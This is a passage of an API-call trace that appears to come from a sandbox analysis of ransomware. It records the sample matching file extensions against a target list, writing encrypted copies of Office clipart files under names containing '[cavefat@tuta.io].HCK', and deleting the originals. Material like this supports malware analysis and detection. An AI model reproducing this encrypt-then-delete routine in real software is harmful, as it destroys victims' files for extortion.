[0162.426] lstrlenW (lpString=".xlsx") returned 5 [0162.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.426] lstrlenW (lpString=".ppt") returned 4 [0162.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0162.426] lstrlenW (lpString=".zip") returned 4 [0162.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.426] lstrlenW (lpString=".rar") returned 4 [0162.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.426] lstrlenW (lpString=".bz2") returned 4 [0162.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.426] lstrlenW (lpString=".7z") returned 3 [0162.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0162.426] lstrlenW (lpString=".dbf") returned 4 [0162.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0162.426] lstrlenW (lpString=".1cd") returned 4 [0162.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0162.426] lstrlenW (lpString=".jpg") returned 4 [0162.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0162.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0162.426] lstrlenW (lpString=".doc") returned 4 [0162.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.426] lstrlenW (lpString=".docx") returned 5 [0162.426] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.426] lstrlenW (lpString=".pdf") returned 4 [0162.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.426] lstrlenW (lpString=".xls") returned 4 [0162.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.426] lstrlenW (lpString=".xlsx") returned 5 [0162.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.426] lstrlenW (lpString=".ppt") returned 4 [0162.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0162.426] lstrlenW (lpString=".zip") returned 4 [0162.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.426] lstrlenW (lpString=".rar") returned 4 [0162.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.426] lstrlenW (lpString=".bz2") returned 4 [0162.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.426] lstrlenW (lpString=".7z") returned 3 [0162.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0162.427] lstrlenW (lpString=".dbf") returned 4 [0162.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0162.427] lstrlenW (lpString=".1cd") returned 4 [0162.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0162.427] lstrlenW (lpString=".jpg") returned 4 [0162.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.427] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.427] lstrlenW (lpString="HM00172_.WMF") returned 12 [0162.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.427] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2832) returned 1 [0162.428] CloseHandle (hObject=0x380) returned 1 [0162.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x220 [0162.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.428] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.428] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0162.428] GetLastError () returned 0x0 [0162.428] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xb10, lpOverlapped=0x0) returned 1 [0162.429] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xb20, lpOverlapped=0x0) returned 1 [0162.430] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.430] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.431] SetEndOfFile (hFile=0x38c) returned 1 [0162.431] CloseHandle (hObject=0x38c) returned 1 [0162.432] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.432] SetEndOfFile (hFile=0x380) returned 1 [0162.433] CloseHandle (hObject=0x380) returned 1 [0162.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0162.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0162.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0162.433] lstrlenW (lpString=".doc") returned 4 [0162.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.433] lstrlenW (lpString=".docx") returned 5 [0162.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.433] lstrlenW (lpString=".pdf") returned 4 [0162.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.434] lstrlenW (lpString=".xls") returned 4 [0162.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.434] lstrlenW (lpString=".xlsx") returned 5 [0162.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.434] lstrlenW (lpString=".ppt") returned 4 [0162.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0162.434] lstrlenW (lpString=".zip") returned 4 [0162.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.434] lstrlenW (lpString=".rar") returned 4 [0162.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.434] lstrlenW (lpString=".bz2") returned 4 [0162.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.434] lstrlenW (lpString=".7z") returned 3 [0162.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0162.434] lstrlenW (lpString=".dbf") returned 4 [0162.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0162.434] lstrlenW (lpString=".1cd") returned 4 [0162.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0162.434] lstrlenW (lpString=".jpg") returned 4 [0162.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0162.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0162.434] lstrlenW (lpString=".doc") returned 4 [0162.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.434] lstrlenW (lpString=".docx") returned 5 [0162.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.434] lstrlenW (lpString=".pdf") returned 4 [0162.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.434] lstrlenW (lpString=".xls") returned 4 [0162.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.434] lstrlenW (lpString=".xlsx") returned 5 [0162.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.434] lstrlenW (lpString=".ppt") returned 4 [0162.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0162.435] lstrlenW (lpString=".zip") returned 4 [0162.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.435] lstrlenW (lpString=".rar") returned 4 [0162.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.435] lstrlenW (lpString=".bz2") returned 4 [0162.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.435] lstrlenW (lpString=".7z") returned 3 [0162.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0162.435] lstrlenW (lpString=".dbf") returned 4 [0162.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0162.435] lstrlenW (lpString=".1cd") returned 4 [0162.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0162.435] lstrlenW (lpString=".jpg") returned 4 [0162.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.435] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.435] lstrlenW (lpString="HM00426_.WMF") returned 12 [0162.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.436] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=68776) returned 1 [0162.436] CloseHandle (hObject=0x380) returned 1 [0162.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x220 [0162.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.438] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.438] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0162.439] GetLastError () returned 0x0 [0162.439] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x10ca8, lpOverlapped=0x0) returned 1 [0162.441] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x10cb0, lpOverlapped=0x0) returned 1 [0162.442] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.442] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.443] SetEndOfFile (hFile=0x38c) returned 1 [0162.443] CloseHandle (hObject=0x38c) returned 1 [0162.444] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.445] SetEndOfFile (hFile=0x380) returned 1 [0162.446] CloseHandle (hObject=0x380) returned 1 [0162.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0162.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0162.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0162.446] lstrlenW (lpString=".doc") returned 4 [0162.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.446] lstrlenW (lpString=".docx") returned 5 [0162.446] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.446] lstrlenW (lpString=".pdf") returned 4 [0162.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.446] lstrlenW (lpString=".xls") returned 4 [0162.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.446] lstrlenW (lpString=".xlsx") returned 5 [0162.446] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.446] lstrlenW (lpString=".ppt") returned 4 [0162.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0162.446] lstrlenW (lpString=".zip") returned 4 [0162.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.446] lstrlenW (lpString=".rar") returned 4 [0162.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString=".bz2") returned 4 [0162.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString=".7z") returned 3 [0162.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0162.447] lstrlenW (lpString=".dbf") returned 4 [0162.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0162.447] lstrlenW (lpString=".1cd") returned 4 [0162.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0162.447] lstrlenW (lpString=".jpg") returned 4 [0162.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0162.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0162.447] lstrlenW (lpString=".doc") returned 4 [0162.447] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString=".docx") returned 5 [0162.447] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.447] lstrlenW (lpString=".pdf") returned 4 [0162.447] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString=".xls") returned 4 [0162.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.447] lstrlenW (lpString=".xlsx") returned 5 [0162.447] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.447] lstrlenW (lpString=".ppt") returned 4 [0162.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0162.447] lstrlenW (lpString=".zip") returned 4 [0162.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.447] lstrlenW (lpString=".rar") returned 4 [0162.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString=".bz2") returned 4 [0162.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString=".7z") returned 3 [0162.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0162.447] lstrlenW (lpString=".dbf") returned 4 [0162.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0162.447] lstrlenW (lpString=".1cd") returned 4 [0162.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0162.447] lstrlenW (lpString=".jpg") returned 4 [0162.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.448] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.448] lstrlenW (lpString="IN00046_.WMF") returned 12 [0162.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0162.493] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=1158) returned 1 [0162.493] CloseHandle (hObject=0x30c) returned 1 [0162.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 0x220 [0162.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.516] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.516] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0162.944] GetLastError () returned 0x0 [0162.952] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x486, lpOverlapped=0x0) returned 1 [0162.976] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x490, lpOverlapped=0x0) returned 1 [0162.977] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.977] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.977] SetEndOfFile (hFile=0x394) returned 1 [0162.977] CloseHandle (hObject=0x394) returned 1 [0162.978] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.978] SetEndOfFile (hFile=0x380) returned 1 [0162.979] CloseHandle (hObject=0x380) returned 1 [0162.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0162.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0162.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0162.979] lstrlenW (lpString=".doc") returned 4 [0162.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.979] lstrlenW (lpString=".docx") returned 5 [0162.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.979] lstrlenW (lpString=".pdf") returned 4 [0162.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.979] lstrlenW (lpString=".xls") returned 4 [0162.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.979] lstrlenW (lpString=".xlsx") returned 5 [0162.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.979] lstrlenW (lpString=".ppt") returned 4 [0162.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0162.979] lstrlenW (lpString=".zip") returned 4 [0162.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.979] lstrlenW (lpString=".rar") returned 4 [0162.979] 